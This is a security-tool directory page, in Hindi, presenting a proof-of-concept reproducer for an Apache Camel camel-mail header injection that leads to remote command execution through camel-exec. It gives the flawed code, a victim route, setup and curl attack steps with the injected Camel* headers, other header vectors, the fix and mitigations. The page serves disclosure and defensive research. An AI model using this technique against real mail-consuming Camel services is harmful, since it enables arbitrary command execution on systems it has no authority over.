Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-33454 — CVE-2026-33454 के लिए पुनरुत्पादक: Apache Camel camel-mail हेडर इंजेक्शन से camel-exec के माध्यम से RCE | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-33454
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHuboscerd/cve-2026-33454

CVE-2026-33454

CVE-2026-33454 के लिए पुनरुत्पादक: Apache Camel camel-mail हेडर इंजेक्शन से camel-exec के माध्यम से RCE

रिपॉजिटरी देखें
1112 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-mail हैडर इंजेक्शन → RCE भेद्यता पुनरुत्पादक (CVE-2026-33454)

यह प्रोजेक्ट Apache Camel के camel-mail घटक में Camel संदेश हैडर इंजेक्शन भेद्यता को प्रदर्शित करता है, जिसे CVE-2026-33454 के रूप में ट्रैक किया गया है। एक हमलावर जो Camel मेल उपभोक्ता द्वारा निगरानी किए गए मेलबॉक्स में ईमेल डिलीवर कर सकता है, वह एक्सचेंज में Camel* नियंत्रण हैडर इंजेक्ट कर सकता है, जिससे जब रूट किसी हैडर-संवेदनशील उत्पादक जैसे camel-exec पर अग्रेषित होता है, तो दूरस्थ कोड निष्पादन प्राप्त होता है।

Advisory: https://camel.apache.org/security/CVE-2026-33454.html

भेद्यता सारांश

गुणमान
घटकcamel-mail
प्रभावित वर्गorg.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail)
मूल कारणफ़िल्टर रणनीति केवल OUT दिशा (setOutFilterStartsWith) कॉन्फ़िगर करती है और IN दिशा नहीं, इसलिए इनबाउंड MIME हैडर फ़िल्टर नहीं होते हैं
CWECWE-20: अनुचित इनपुट सत्यापन (Camel संदेश हैडर इंजेक्शन)
प्रभावदूरस्थ कोड निष्पादन (हैडर-संवेदनशील उत्पादकों के माध्यम से, जैसे camel-exec)
प्रभावित संस्करण3.0.0 से 4.14.6 से पहले, और 4.15.0 से 4.18.1 से पहले तक
निश्चित संस्करण4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23222
रिपोर्टरHyunwoo Kim (@v4bel)

तकनीकी विवरण

MailHeaderFilterStrategy DefaultHeaderFilterStrategy का विस्तार करता है। प्रभावित संस्करणों में इसका कंस्ट्रक्टर केवल आउट फ़िल्टर कॉन्फ़िगर करता है और कभी इन फ़िल्टर सेट नहीं करता है:

root@kitploit:~
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // OUT only
    // no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}

जब Camel मेल का उपभोग करता है (जैसे from("imap://...") या from("pop3://...")), MailBinding.extractHeadersFromMail() प्रत्येक MIME हैडर को एक्सचेंज इन हैडर में कॉपी करता है, जो headerFilterStrategy.applyFilterToExternalHeaders(...) द्वारा नियंत्रित होता है। चूंकि इन फ़िल्टर कभी कॉन्फ़िगर नहीं किया गया था, Camel*-उपसर्ग वाले MIME हैडर सीधे पास हो जाते हैं:

root@kitploit:~
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

इसलिए एक हमलावर जो निगरानी किए गए मेलबॉक्स को ईमेल कर सकता है, वह मनमाना Camel* नियंत्रण हैडर सेट कर सकता है। जब रूट किसी हैडर-संवेदनशील उत्पादक जैसे camel-exec पर अग्रेषित होता है, तो CamelExecCommandExecutable / CamelExecCommandArgs हैडर कमांड को ओवरराइड कर देते हैं (प्रभावित संस्करणों में डिफ़ॉल्ट रूप से सम्मानित) → मनमाना OS कमांड निष्पादन।

पीड़ित रूट

root@kitploit:~
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // fixed, harmless command
    .convertBodyTo(String.class);

पूर्वापेक्षाएँ

  • Java 17+
  • Maven 3.8+
  • Docker (मेल सर्वर चलाता है)

प्रतिलिपि प्रस्तुत करने के चरण

चरण 1: मेल सर्वर प्रारंभ करें (Docker)

एक GreenMail कंटेनर एकल मेलबॉक्स के साथ SMTP (3025) और IMAP (3143) प्रदान करता है (लॉगिन victim, पासवर्ड secret, पता victim@localhost):

root@kitploit:~
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

चरण 2: एप्लिकेशन बनाएं और प्रारंभ करें

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

IMAP पीड़ित रूट और 8080 पर एक सहायक REST नियंत्रक प्रारंभ करता है।

चरण 3: सौम्य ईमेल (सैनिटी जाँच)

root@kitploit:~
curl http://localhost:8080/exploit/normal

उपभोक्ता इसे उठाता है और echo hello चलाता है।

चरण 4: हमला — इंजेक्टेड Camel* MIME हैडर वाला ईमेल भेजें

root@kitploit:~
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

यह एक ईमेल वितरित करता है जिसके MIME हैडर शामिल हैं:

root@kitploit:~
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

चरण 5: सत्यापित करें

root@kitploit:~
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned

यदि /tmp/pwned मौजूद है, तो इंजेक्ट किया गया MIME हैडर exec कमांड को ओवरराइड कर देता है → RCE।

सफाई

root@kitploit:~
docker compose down    # or: docker rm -f greenmail-cve

हमले के वेक्टर

इंजेक्शन के लिए केवल डाउनस्ट्रीम एक हैडर-संवेदनशील उत्पादक की आवश्यकता है। सलाहकार नोट करता है camel-bean, camel-exec और camel-sql; अधिक व्यापक रूप से:

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → OS कमांड निष्पादन
  • camel-file — CamelFileName → मनमाना फ़ाइल लेखन / पथ ट्रैवर्सल
  • camel-bean — CamelBeanMethodName → एक अलग विधि लागू करें
  • camel-sql — क्वेरी-नियंत्रण हैडर

शोषण की शर्तें

  1. एक Camel रूट जो मेल का उपभोग कर रहा है (imap://, imaps://, pop3://, ...)।
  2. रूट एक हैडर-संवेदनशील उत्पादक पर अग्रेषित होता है (या उससे प्रभावित होता है)।
  3. मेल उपभोक्ता और उस उत्पादक के बीच कोई removeHeaders("Camel*") नहीं है।

हमलावर को केवल निगरानी किए गए मेलबॉक्स पर एक ईमेल भेजने में सक्षम होना चाहिए।

अनुशंसित फिक्स

फिक्स (CAMEL-23222) इनबाउंड फ़िल्टर को भी कॉन्फ़िगर करता है:

root@kitploit:~
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // now the inbound direction is filtered too
}

शमन

अपग्रेड करने तक:

  1. Camel हैडर हटाएं मेल-स्रोत संदेशों से: from("imap:...") के तुरंत बाद .removeHeaders("Camel*")।
  2. हैडर-संवेदनशील उत्पादकों से बचें अविश्वसनीय मेल के डाउनस्ट्रीम, या उनके कॉन्फ़िगरेशन को पिन करें।
  3. प्रतिबंधित करें कि कौन वितरित कर सकता है निगरानी किए गए मेलबॉक्स पर।

फ़ाइलें

root@kitploit:~
CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── MailExecRoute.java        # the vulnerable victim route (imap -> exec)
    │   └── ExploitController.java    # attacker: delivers the malicious email via SMTP
    └── resources/
        └── application.properties

अस्वीकरण

यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और स्थिर भेद्यता के लिए। बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध इसका उपयोग न करें।

टूल डाउनलोड करें